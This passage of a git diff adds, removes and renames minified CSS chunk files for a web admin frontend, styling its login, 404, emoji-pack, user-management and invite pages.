.el-submenu>.el-submenu__title:hover{background-color:#263445!important}.blue-btn{background:#324157}.blue-btn:hover{color:#324157}.blue-btn:hover:after,.blue-btn:hover:before{background:#324157}.light-blue-btn{background:#3a71a8}.light-blue-btn:hover{color:#3a71a8}.light-blue-btn:hover:after,.light-blue-btn:hover:before{background:#3a71a8}.red-btn{background:#c03639}.red-btn:hover{color:#c03639}.red-btn:hover:after,.red-btn:hover:before{background:#c03639}.pink-btn{background:#e65d6e}.pink-btn:hover{color:#e65d6e}.pink-btn:hover:after,.pink-btn:hover:before{background:#e65d6e}.green-btn{background:#30b08f}.green-btn:hover{color:#30b08f}.green-btn:hover:after,.green-btn:hover:before{background:#30b08f}.tiffany-btn{background:#4ab7bd}.tiffany-btn:hover{color:#4ab7bd}.tiffany-btn:hover:after,.tiffany-btn:hover:before{background:#4ab7bd}.yellow-btn{background:#fec171}.yellow-btn:hover{color:#fec171}.yellow-btn:hover:after,.yellow-btn:hover:before{background:#fec171}.pan-btn{font-size:14px;color:#fff;padding:14px 36px;border-radius:8px;border:none;outline:none;-webkit-transition:all .6s ease;transition:all .6s ease;position:relative;display:inline-block}.pan-btn:hover{background:#fff}.pan-btn:hover:after,.pan-btn:hover:before{width:100%;-webkit-transition:all .6s ease;transition:all .6s ease}.pan-btn:after,.pan-btn:before{content:"";position:absolute;top:0;right:0;height:2px;width:0;-webkit-transition:all .4s ease;transition:all .4s ease}.pan-btn:after{right:inherit;top:inherit;left:0;bottom:0}.custom-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;color:#fff;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:0;margin:0;padding:10px 15px;font-size:14px;border-radius:4px}body{height:100%;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;font-family:Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Arial,sans-serif}label{font-weight:700}html{-webkit-box-sizing:border-box;box-sizing:border-box}#app,html{height:100%}*,:after,:before{-webkit-box-sizing:inherit;box-sizing:inherit}.no-padding{padding:0!important}.padding-content{padding:4px 0}a:active,a:focus{outline:none}a,a:focus,a:hover{cursor:pointer;color:inherit;text-decoration:none}div:focus{outline:none}.fr{float:right}.fl{float:left}.pr-5{padding-right:5px}.pl-5{padding-left:5px}.block{display:block}.pointer{cursor:pointer}.inlineBlock{display:block}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}code{background:#eef1f6;padding:15px 16px;margin-bottom:20px;display:block;line-height:36px;font-size:15px;font-family:Source Sans Pro,Helvetica Neue,Arial,sans-serif}code a{color:#337ab7;cursor:pointer}code a:hover{color:#20a0ff}.warn-content{background:rgba(66,185,131,.1);border-radius:2px;padding:1rem;line-height:1.6rem;word-spacing:.05rem}.warn-content a{color:#42b983;font-weight:600}.app-container{padding:20px}.components-container{margin:30px 50px;position:relative}.pagination-container{margin-top:30px}.text-center{text-align:center}.sub-navbar{height:50px;line-height:50px;position:relative;width:100%;text-align:right;padding-right:20px;-webkit-transition:position .6s ease;transition:position .6s ease;background:-webkit-gradient(linear,left top,right top,from(#20b6f9),color-stop(0,#20b6f9),color-stop(100%,#2178f1),to(#2178f1));background:linear-gradient(90deg,#20b6f9,#20b6f9 0,#2178f1 100%,#2178f1 0)}.sub-navbar .subtitle{font-size:20px;color:#fff}.sub-navbar.deleted,.sub-navbar.draft{background:#d0d0d0}.link-type,.link-type:focus{color:#337ab7;cursor:pointer}.link-type:focus:hover,.link-type:hover{color:#20a0ff}.filter-container{padding-bottom:10px}.filter-container .filter-item{display:inline-block;vertical-align:middle;margin-bottom:10px}.multiselect{line-height:16px}.multiselect--active{z-index:1000!important}.hamburger[data-v-3ee86d44]{display:inline-block;vertical-align:middle;width:20px;height:20px}.hamburger.is-active[data-v-3ee86d44]{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.navbar[data-v-b535c57a]{height:50px;overflow:hidden}.navbar .hamburger-container[data-v-b535c57a]{line-height:46px;height:100%;float:left;cursor:pointer;-webkit-transition:background .3s;transition:background .3s}.navbar .hamburger-container[data-v-b535c57a]:hover{background:rgba(0,0,0,.025)}.navbar .breadcrumb-container[data-v-b535c57a]{float:left}.navbar .errLog-container[data-v-b535c57a]{display:inline-block;vertical-align:top}.navbar .right-menu[data-v-b535c57a]{float:right;height:100%;line-height:50px}.navbar .right-menu[data-v-b535c57a]:focus{outline:none}.navbar .right-menu .right-menu-item[data-v-b535c57a]{display:inline-block;padding:0 8px;height:100%;font-size:18px;color:#5a5e66;vertical-align:text-bottom}.navbar .right-menu .right-menu-item.hover-effect[data-v-b535c57a]{cursor:pointer;-webkit-transition:background .3s;transition:background .3s}.navbar .right-menu .right-menu-item.hover-effect[data-v-b535c57a]:hover{background:rgba(0,0,0,.025)}.navbar .right-menu .avatar-container .avatar-wrapper[data-v-b535c57a]{margin-top:5px;position:relative}.navbar .right-menu .avatar-container .avatar-wrapper .user-avatar[data-v-b535c57a]{cursor:pointer;width:40px;height:40px;border-radius:10px}.navbar .right-menu .avatar-container .avatar-wrapper .el-icon-caret-bottom[data-v-b535c57a]{cursor:pointer;position:absolute;right:-20px;top:25px;font-size:12px}.scroll-container[data-v-547b5dea]{white-space:nowrap;position:relative;overflow:hidden;width:100%}.scroll-container[data-v-547b5dea] .el-scrollbar__bar{bottom:0}.scroll-container[data-v-547b5dea] .el-scrollbar__wrap{height:49px}.tags-view-container[data-v-67e96c42]{height:34px;width:100%;background:#fff;border-bottom:1px solid #d8dce5;-webkit-box-shadow:0 1px 3px 0 rgba(0,0,0,.12),0 0 3px 0 rgba(0,0,0,.04);box-shadow:0 1px 3px 0 rgba(0,0,0,.12),0 0 3px 0 rgba(0,0,0,.04)}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]{display:inline-block;position:relative;cursor:pointer;height:26px;line-height:26px;border:1px solid #d8dce5;color:#495060;background:#fff;padding:0 8px;font-size:12px;margin-left:5px;margin-top:4px}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]:first-of-type{margin-left:15px}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]:last-of-type{margin-right:15px}.tags-view-container .tags-view-wrapper .tags-view-item.active[data-v-67e96c42]{background-color:#42b983;color:#fff;border-color:#42b983}.tags-view-container .tags-view-wrapper .tags-view-item.active[data-v-67e96c42]:before{content:"";background:#fff;display:inline-block;width:8px;height:8px;border-radius:50%;position:relative;margin-right:2px}.tags-view-container .contextmenu[data-v-67e96c42]{margin:0;background:#fff;z-index:100;position:absolute;list-style-type:none;padding:5px 0;border-radius:4px;font-size:12px;font-weight:400;color:#333;-webkit-box-shadow:2px 2px 3px 0 rgba(0,0,0,.3);box-shadow:2px 2px 3px 0 rgba(0,0,0,.3)}.tags-view-container .contextmenu li[data-v-67e96c42]{margin:0;padding:7px 16px;cursor:pointer}.tags-view-container .contextmenu li[data-v-67e96c42]:hover{background:#eee}.tags-view-wrapper .tags-view-item .el-icon-close{width:16px;height:16px;vertical-align:2px;border-radius:50%;text-align:center;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.tags-view-wrapper .tags-view-item .el-icon-close:before{-webkit-transform:scale(.6);transform:scale(.6);display:inline-block;vertical-align:-3px}.tags-view-wrapper .tags-view-item .el-icon-close:hover{background-color:#b4bccc;color:#fff}.app-main[data-v-f852c4f2]{min-height:calc(100vh - 84px);width:100%;position:relative;overflow:hidden}.app-wrapper[data-v-767d264f]{position:relative;height:100%;width:100%}.app-wrapper[data-v-767d264f]:after{content:"";display:table;clear:both}.app-wrapper.mobile.openSidebar[data-v-767d264f]{position:fixed;top:0}.drawer-bg[data-v-767d264f]{background:#000;opacity:.3;width:100%;top:0;height:100%;position:absolute;z-index:999}.svg-icon[data-v-4e710b96]{width:1em;height:1em;vertical-align:-.15em;fill:currentColor;overflow:hidden}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-06db.75709645.css b/priv/static/adminfe/chunk-06db.75709645.css
new file mode 100644
index 000000000..9e23d0fdb
--- /dev/null
+++ b/priv/static/adminfe/chunk-06db.75709645.css
@@ -0,0 +1 @@
+@supports (-webkit-mask:none) and (not (cater-color:#fff)){.login-container .el-input input{color:#fff}.login-container .el-input input:first-line{color:#eee}}.login-container .el-input{display:inline-block;height:47px;width:85%}.login-container .el-input input{background:transparent;border:0;-webkit-appearance:none;border-radius:0;padding:12px 5px 12px 15px;color:#eee;height:47px;caret-color:#fff}.login-container .el-input input:-webkit-autofill{-webkit-box-shadow:0 0 0 1000px #283443 inset!important;-webkit-text-fill-color:#fff!important}.login-container .el-form-item{border:1px solid hsla(0,0%,100%,.1);background:rgba(0,0,0,.1);border-radius:5px;color:#454545}.login-container .login-button{width:100%;margin:0 0 10px}.login-container .omit-host-note{color:#596f8c;font-size:.8em;font-style:italic;margin:-20px 0 15px;padding:3px 0 0 15px}.login-container[data-v-d027d802]{min-height:100%;width:100%;background-color:#2d3a4b;overflow:hidden}.login-container .login-form[data-v-d027d802]{position:relative;width:520px;max-width:100%;padding:160px 35px 0;margin:0 auto;overflow:hidden}.login-container .tips[data-v-d027d802]{font-size:14px;color:#fff;margin-bottom:10px}.login-container .tips span[data-v-d027d802]:first-of-type{margin-right:16px}.login-container .svg-container[data-v-d027d802]{padding:6px 5px 6px 15px;color:#889aa4;vertical-align:middle;width:30px;display:inline-block}.login-container .title-container[data-v-d027d802]{position:relative}.login-container .title-container .title[data-v-d027d802]{font-size:26px;color:#eee;margin:0 auto 40px;text-align:center;font-weight:700}.login-container .title-container .set-language[data-v-d027d802]{color:#fff;position:absolute;top:3px;font-size:18px;right:0;cursor:pointer}.login-container .show-pwd[data-v-d027d802]{position:absolute;right:10px;top:7px;font-size:16px;color:#889aa4;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.login-container .thirdparty-button[data-v-d027d802]{position:absolute;right:0;bottom:6px}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-15fa.bcc01554.css b/priv/static/adminfe/chunk-15fa.bcc01554.css
new file mode 100644
index 000000000..30bf7de23
--- /dev/null
+++ b/priv/static/adminfe/chunk-15fa.bcc01554.css
@@ -0,0 +1 @@
+.wscn-http404-container[data-v-1d6b2d2a]{-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);position:absolute;top:40%;left:50%}.wscn-http404[data-v-1d6b2d2a]{position:relative;width:1200px;padding:0 50px;overflow:hidden}.wscn-http404 .pic-404[data-v-1d6b2d2a]{position:relative;float:left;width:600px;overflow:hidden}.wscn-http404 .pic-404__parent[data-v-1d6b2d2a]{width:100%}.wscn-http404 .pic-404__child[data-v-1d6b2d2a]{position:absolute}.wscn-http404 .pic-404__child.left[data-v-1d6b2d2a]{width:80px;top:17px;left:220px;opacity:0;-webkit-animation-name:cloudLeft-data-v-1d6b2d2a;animation-name:cloudLeft-data-v-1d6b2d2a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1s;animation-delay:1s}.wscn-http404 .pic-404__child.mid[data-v-1d6b2d2a]{width:46px;top:10px;left:420px;opacity:0;-webkit-animation-name:cloudMid-data-v-1d6b2d2a;animation-name:cloudMid-data-v-1d6b2d2a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1.2s;animation-delay:1.2s}.wscn-http404 .pic-404__child.right[data-v-1d6b2d2a]{width:62px;top:100px;left:500px;opacity:0;-webkit-animation-name:cloudRight-data-v-1d6b2d2a;animation-name:cloudRight-data-v-1d6b2d2a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1s;animation-delay:1s}@-webkit-keyframes cloudLeft-data-v-1d6b2d2a{0%{top:17px;left:220px;opacity:0}20%{top:33px;left:188px;opacity:1}80%{top:81px;left:92px;opacity:1}to{top:97px;left:60px;opacity:0}}@keyframes cloudLeft-data-v-1d6b2d2a{0%{top:17px;left:220px;opacity:0}20%{top:33px;left:188px;opacity:1}80%{top:81px;left:92px;opacity:1}to{top:97px;left:60px;opacity:0}}@-webkit-keyframes cloudMid-data-v-1d6b2d2a{0%{top:10px;left:420px;opacity:0}20%{top:40px;left:360px;opacity:1}70%{top:130px;left:180px;opacity:1}to{top:160px;left:120px;opacity:0}}@keyframes cloudMid-data-v-1d6b2d2a{0%{top:10px;left:420px;opacity:0}20%{top:40px;left:360px;opacity:1}70%{top:130px;left:180px;opacity:1}to{top:160px;left:120px;opacity:0}}@-webkit-keyframes cloudRight-data-v-1d6b2d2a{0%{top:100px;left:500px;opacity:0}20%{top:120px;left:460px;opacity:1}80%{top:180px;left:340px;opacity:1}to{top:200px;left:300px;opacity:0}}@keyframes cloudRight-data-v-1d6b2d2a{0%{top:100px;left:500px;opacity:0}20%{top:120px;left:460px;opacity:1}80%{top:180px;left:340px;opacity:1}to{top:200px;left:300px;opacity:0}}.wscn-http404 .bullshit[data-v-1d6b2d2a]{position:relative;float:left;width:300px;padding:30px 0;overflow:hidden}.wscn-http404 .bullshit__oops[data-v-1d6b2d2a]{font-size:32px;line-height:40px;color:#1482f0;margin-bottom:20px;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__headline[data-v-1d6b2d2a],.wscn-http404 .bullshit__oops[data-v-1d6b2d2a]{font-weight:700;opacity:0;-webkit-animation-name:slideUp-data-v-1d6b2d2a;animation-name:slideUp-data-v-1d6b2d2a;-webkit-animation-duration:.5s;animation-duration:.5s}.wscn-http404 .bullshit__headline[data-v-1d6b2d2a]{font-size:20px;line-height:24px;color:#222;margin-bottom:10px;-webkit-animation-delay:.1s;animation-delay:.1s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__info[data-v-1d6b2d2a]{font-size:13px;line-height:21px;color:grey;margin-bottom:30px;-webkit-animation-delay:.2s;animation-delay:.2s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__info[data-v-1d6b2d2a],.wscn-http404 .bullshit__return-home[data-v-1d6b2d2a]{opacity:0;-webkit-animation-name:slideUp-data-v-1d6b2d2a;animation-name:slideUp-data-v-1d6b2d2a;-webkit-animation-duration:.5s;animation-duration:.5s}.wscn-http404 .bullshit__return-home[data-v-1d6b2d2a]{display:block;float:left;width:165px;height:36px;background:#1482f0;border-radius:100px;text-align:center;color:#fff;font-size:14px;line-height:36px;cursor:pointer;-webkit-animation-delay:.3s;animation-delay:.3s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}@-webkit-keyframes slideUp-data-v-1d6b2d2a{0%{-webkit-transform:translateY(60px);transform:translateY(60px);opacity:0}to{-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@keyframes slideUp-data-v-1d6b2d2a{0%{-webkit-transform:translateY(60px);transform:translateY(60px);opacity:0}to{-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-1a7d.38eb00cf.css b/priv/static/adminfe/chunk-1a7d.38eb00cf.css
new file mode 100644
index 000000000..cbf59cfb5
--- /dev/null
+++ b/priv/static/adminfe/chunk-1a7d.38eb00cf.css
@@ -0,0 +1 @@
+.prop-row{margin-bottom:1em}.emoji-preview-img{max-width:5em}.copy-to-local-button{margin-top:2em;float:right}.new-emoji-col{margin-top:8em}.or,.shared-pack-dl-box{margin:1em}.dl-as-input{margin:1em;max-width:30%}.contents-collapse{margin:1em}.pack-actions{margin-top:1em}.new-emoji-uploader{margin-bottom:3em}.emoji-packs-container{margin:22px 0 0 15px}.local-packs-actions{margin-top:1em;margin-bottom:1em}.remote-instance-input{max-width:10%}.create-pack-button{margin-top:1em}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-18e1.6aaab273.css b/priv/static/adminfe/chunk-1f27.c0efd1fc.css
similarity index 100%
rename from priv/static/adminfe/chunk-18e1.6aaab273.css
rename to priv/static/adminfe/chunk-1f27.c0efd1fc.css
diff --git a/priv/static/adminfe/chunk-2325.0d22684d.css b/priv/static/adminfe/chunk-2325.0d22684d.css
deleted file mode 100644
index bdb738700..000000000
--- a/priv/static/adminfe/chunk-2325.0d22684d.css
+++ /dev/null
@@ -1 +0,0 @@
-.wscn-http404-container[data-v-b8c8aa9a]{-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);position:absolute;top:40%;left:50%}.wscn-http404[data-v-b8c8aa9a]{position:relative;width:1200px;padding:0 50px;overflow:hidden}.wscn-http404 .pic-404[data-v-b8c8aa9a]{position:relative;float:left;width:600px;overflow:hidden}.wscn-http404 .pic-404__parent[data-v-b8c8aa9a]{width:100%}.wscn-http404 .pic-404__child[data-v-b8c8aa9a]{position:absolute}.wscn-http404 .pic-404__child.left[data-v-b8c8aa9a]{width:80px;top:17px;left:220px;opacity:0;-webkit-animation-name:cloudLeft-data-v-b8c8aa9a;animation-name:cloudLeft-data-v-b8c8aa9a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1s;animation-delay:1s}.wscn-http404 .pic-404__child.mid[data-v-b8c8aa9a]{width:46px;top:10px;left:420px;opacity:0;-webkit-animation-name:cloudMid-data-v-b8c8aa9a;animation-name:cloudMid-data-v-b8c8aa9a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1.2s;animation-delay:1.2s}.wscn-http404 .pic-404__child.right[data-v-b8c8aa9a]{width:62px;top:100px;left:500px;opacity:0;-webkit-animation-name:cloudRight-data-v-b8c8aa9a;animation-name:cloudRight-data-v-b8c8aa9a;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-delay:1s;animation-delay:1s}@-webkit-keyframes cloudLeft-data-v-b8c8aa9a{0%{top:17px;left:220px;opacity:0}20%{top:33px;left:188px;opacity:1}80%{top:81px;left:92px;opacity:1}to{top:97px;left:60px;opacity:0}}@keyframes cloudLeft-data-v-b8c8aa9a{0%{top:17px;left:220px;opacity:0}20%{top:33px;left:188px;opacity:1}80%{top:81px;left:92px;opacity:1}to{top:97px;left:60px;opacity:0}}@-webkit-keyframes cloudMid-data-v-b8c8aa9a{0%{top:10px;left:420px;opacity:0}20%{top:40px;left:360px;opacity:1}70%{top:130px;left:180px;opacity:1}to{top:160px;left:120px;opacity:0}}@keyframes cloudMid-data-v-b8c8aa9a{0%{top:10px;left:420px;opacity:0}20%{top:40px;left:360px;opacity:1}70%{top:130px;left:180px;opacity:1}to{top:160px;left:120px;opacity:0}}@-webkit-keyframes cloudRight-data-v-b8c8aa9a{0%{top:100px;left:500px;opacity:0}20%{top:120px;left:460px;opacity:1}80%{top:180px;left:340px;opacity:1}to{top:200px;left:300px;opacity:0}}@keyframes cloudRight-data-v-b8c8aa9a{0%{top:100px;left:500px;opacity:0}20%{top:120px;left:460px;opacity:1}80%{top:180px;left:340px;opacity:1}to{top:200px;left:300px;opacity:0}}.wscn-http404 .bullshit[data-v-b8c8aa9a]{position:relative;float:left;width:300px;padding:30px 0;overflow:hidden}.wscn-http404 .bullshit__oops[data-v-b8c8aa9a]{font-size:32px;line-height:40px;color:#1482f0;margin-bottom:20px;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__headline[data-v-b8c8aa9a],.wscn-http404 .bullshit__oops[data-v-b8c8aa9a]{font-weight:700;opacity:0;-webkit-animation-name:slideUp-data-v-b8c8aa9a;animation-name:slideUp-data-v-b8c8aa9a;-webkit-animation-duration:.5s;animation-duration:.5s}.wscn-http404 .bullshit__headline[data-v-b8c8aa9a]{font-size:20px;line-height:24px;color:#222;margin-bottom:10px;-webkit-animation-delay:.1s;animation-delay:.1s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__info[data-v-b8c8aa9a]{font-size:13px;line-height:21px;color:grey;margin-bottom:30px;-webkit-animation-delay:.2s;animation-delay:.2s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.wscn-http404 .bullshit__info[data-v-b8c8aa9a],.wscn-http404 .bullshit__return-home[data-v-b8c8aa9a]{opacity:0;-webkit-animation-name:slideUp-data-v-b8c8aa9a;animation-name:slideUp-data-v-b8c8aa9a;-webkit-animation-duration:.5s;animation-duration:.5s}.wscn-http404 .bullshit__return-home[data-v-b8c8aa9a]{display:block;float:left;width:110px;height:36px;background:#1482f0;border-radius:100px;text-align:center;color:#fff;font-size:14px;line-height:36px;cursor:pointer;-webkit-animation-delay:.3s;animation-delay:.3s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}@-webkit-keyframes slideUp-data-v-b8c8aa9a{0%{-webkit-transform:translateY(60px);transform:translateY(60px);opacity:0}to{-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@keyframes slideUp-data-v-b8c8aa9a{0%{-webkit-transform:translateY(60px);transform:translateY(60px);opacity:0}to{-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-0e18.e12401fb.css b/priv/static/adminfe/chunk-3d1c.2880a519.css
similarity index 100%
rename from priv/static/adminfe/chunk-0e18.e12401fb.css
rename to priv/static/adminfe/chunk-3d1c.2880a519.css
diff --git a/priv/static/adminfe/chunk-5913.33f0e7ff.css b/priv/static/adminfe/chunk-5913.33f0e7ff.css
new file mode 100644
index 000000000..f98c967ee
--- /dev/null
+++ b/priv/static/adminfe/chunk-5913.33f0e7ff.css
@@ -0,0 +1 @@
+.select-field[data-v-71bc6b38]{width:350px}@media (min-device-width:768px) and (max-device-width:1024px),only screen and (max-width:760px){.select-field[data-v-71bc6b38]{width:100%;margin-bottom:5px}}.actions-button[data-v-19afabea]{text-align:left;width:350px;padding:10px}.actions-button-container[data-v-19afabea]{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.el-dropdown[data-v-19afabea]{float:right}.el-icon-edit[data-v-19afabea]{margin-right:5px}.tag-container[data-v-19afabea]{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.tag-text[data-v-19afabea]{padding-right:20px}.no-hover[data-v-19afabea]:hover{color:#606266;background-color:#fff;cursor:auto}.el-dialog__body{padding:20px}.create-account-form-item{margin-bottom:20px}.create-account-form-item-without-margin{margin-bottom:0}@media (min-device-width:768px) and (max-device-width:1024px),only screen and (max-width:760px){.create-user-dialog{width:85%}.create-account-form-item{margin-bottom:20px}.el-dialog__body{padding:20px}}.actions-button{text-align:left;width:350px;padding:10px}.actions-container{display:-webkit-box;display:-ms-flexbox;display:flex;height:36px;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0 15px 10px}.active-tag{color:#409eff;font-weight:700}.active-tag .el-icon-check{color:#409eff;float:right;margin:7px 0 0 15px}.el-dropdown-link:hover{cursor:pointer;color:#409eff}.el-icon-plus{margin-right:5px}.password-reset-token{margin:0 0 14px}.password-reset-token-dialog{width:50%}.reset-password-link{text-decoration:underline}.users-container h1{margin:22px 0 0 15px}.users-container .pagination{margin:25px 0;text-align:center}.users-container .search{width:350px;float:right}.users-container .filter-container{display:-webkit-box;display:-ms-flexbox;display:flex;height:36px;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:22px 15px 15px}.users-container .user-count{color:grey;font-size:28px}@media (min-device-width:768px) and (max-device-width:1024px),only screen and (max-width:760px){.password-reset-token-dialog{width:85%}.users-container h1{margin:7px 10px 15px}.users-container .actions-container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0 10px 7px}.users-container .create-account{width:100%}.users-container .el-icon-arrow-down{font-size:12px}.users-container .search{width:100%}.users-container .filter-container{display:-webkit-box;display:-ms-flexbox;display:flex;height:82px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0 10px}.users-container .el-tag{width:30px;display:inline-block;margin-bottom:4px;font-weight:700}.users-container .el-tag.el-tag--danger,.users-container .el-tag.el-tag--success{padding-left:8px}}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-1fbf.d7a1893c.css b/priv/static/adminfe/chunk-598f.dc5869e7.css
similarity index 100%
rename from priv/static/adminfe/chunk-1fbf.d7a1893c.css
rename to priv/static/adminfe/chunk-598f.dc5869e7.css
diff --git a/priv/static/adminfe/chunk-5e57.ac97b15a.css b/priv/static/adminfe/chunk-6292.d1c82a11.css
similarity index 100%
rename from priv/static/adminfe/chunk-5e57.ac97b15a.css
rename to priv/static/adminfe/chunk-6292.d1c82a11.css
diff --git a/priv/static/adminfe/chunk-7c6b.4a8663a9.css b/priv/static/adminfe/chunk-7c6b.4a8663a9.css
new file mode 100644
index 000000000..48784b9d2
--- /dev/null
+++ b/priv/static/adminfe/chunk-7c6b.4a8663a9.css
@@ -0,0 +1 @@
+.invites-container .actions-container{display:-webkit-box;display:-ms-flexbox;display:flex;height:36px;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:20px 15px 15px}.invites-container .create-invite-token{text-align:left;width:350px;padding:10px}.invites-container .create-new-token-dialog{width:40%}.invites-container .el-dialog__body{padding:5px 20px 0}.invites-container h1{margin:22px 0 0 15px}.invites-container .icon{margin-right:5px}.invites-container .invite-token-table{width:100%;margin:0 15px}.invites-container .invite-via-email{text-align:left;width:350px;padding:10px}.invites-container .invite-via-email-dialog{width:50%}.invites-container .info{color:#666;font-size:13px;line-height:22px;margin:0 0 10px}@media (min-device-width:768px) and (max-device-width:1024px),only screen and (max-width:760px){.invites-container .actions-container{display:-webkit-box;display:-ms-flexbox;display:flex;height:82px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:15px 10px 7px}.invites-container .create-invite-token{width:100%}.invites-container .create-new-token-dialog{width:85%}.invites-container .el-date-editor{width:150px}.invites-container .el-dialog__body{padding:5px 15px 0}.invites-container h1{margin:7px 10px 15px}.invites-container .invite-token-table{width:100%;margin:0}.invites-container .invite-via-email{width:100%;margin:10px 0 0}.invites-container .invite-via-email-dialog{width:85%}.invites-container .info{margin:0 0 10px 5px}.create-invite-token,.invite-via-email{width:100%}}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-8b70.9ba0945c.css b/priv/static/adminfe/chunk-8b70.9ba0945c.css
deleted file mode 100644
index 7fa43bf28..000000000
--- a/priv/static/adminfe/chunk-8b70.9ba0945c.css
+++ /dev/null
@@ -1 +0,0 @@
-@supports (-webkit-mask:none) and (not (cater-color:#fff)){.login-container .el-input input{color:#fff}.login-container .el-input input:first-line{color:#eee}}.login-container .el-input{display:inline-block;height:47px;width:85%}.login-container .el-input input{background:transparent;border:0;-webkit-appearance:none;border-radius:0;padding:12px 5px 12px 15px;color:#eee;height:47px;caret-color:#fff}.login-container .el-input input:-webkit-autofill{-webkit-box-shadow:0 0 0 1000px #283443 inset!important;-webkit-text-fill-color:#fff!important}.login-container .el-form-item{border:1px solid hsla(0,0%,100%,.1);background:rgba(0,0,0,.1);border-radius:5px;color:#454545}.login-container[data-v-57350b8e]{min-height:100%;width:100%;background-color:#2d3a4b;overflow:hidden}.login-container .login-form[data-v-57350b8e]{position:relative;width:520px;max-width:100%;padding:160px 35px 0;margin:0 auto;overflow:hidden}.login-container .tips[data-v-57350b8e]{font-size:14px;color:#fff;margin-bottom:10px}.login-container .tips span[data-v-57350b8e]:first-of-type{margin-right:16px}.login-container .svg-container[data-v-57350b8e]{padding:6px 5px 6px 15px;color:#889aa4;vertical-align:middle;width:30px;display:inline-block}.login-container .title-container[data-v-57350b8e]{position:relative}.login-container .title-container .title[data-v-57350b8e]{font-size:26px;color:#eee;margin:0 auto 40px;text-align:center;font-weight:700}.login-container .title-container .set-language[data-v-57350b8e]{color:#fff;position:absolute;top:3px;font-size:18px;right:0;cursor:pointer}.login-container .show-pwd[data-v-57350b8e]{position:absolute;right:10px;top:7px;font-size:16px;color:#889aa4;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.login-container .thirdparty-button[data-v-57350b8e]{position:absolute;right:0;bottom:6px}
\ No newline at end of file
diff --git a/priv/static/adminfe/chunk-e547.e4b6230b.css b/priv/static/adminfe/chunk-e547.e4b6230b.css
deleted file mode 100644
index f740543a0..000000000
--- a/priv/static/adminfe/chunk-e547.e4b6230b.css
+++ /dev/null
@@ -1 +0,0 @@
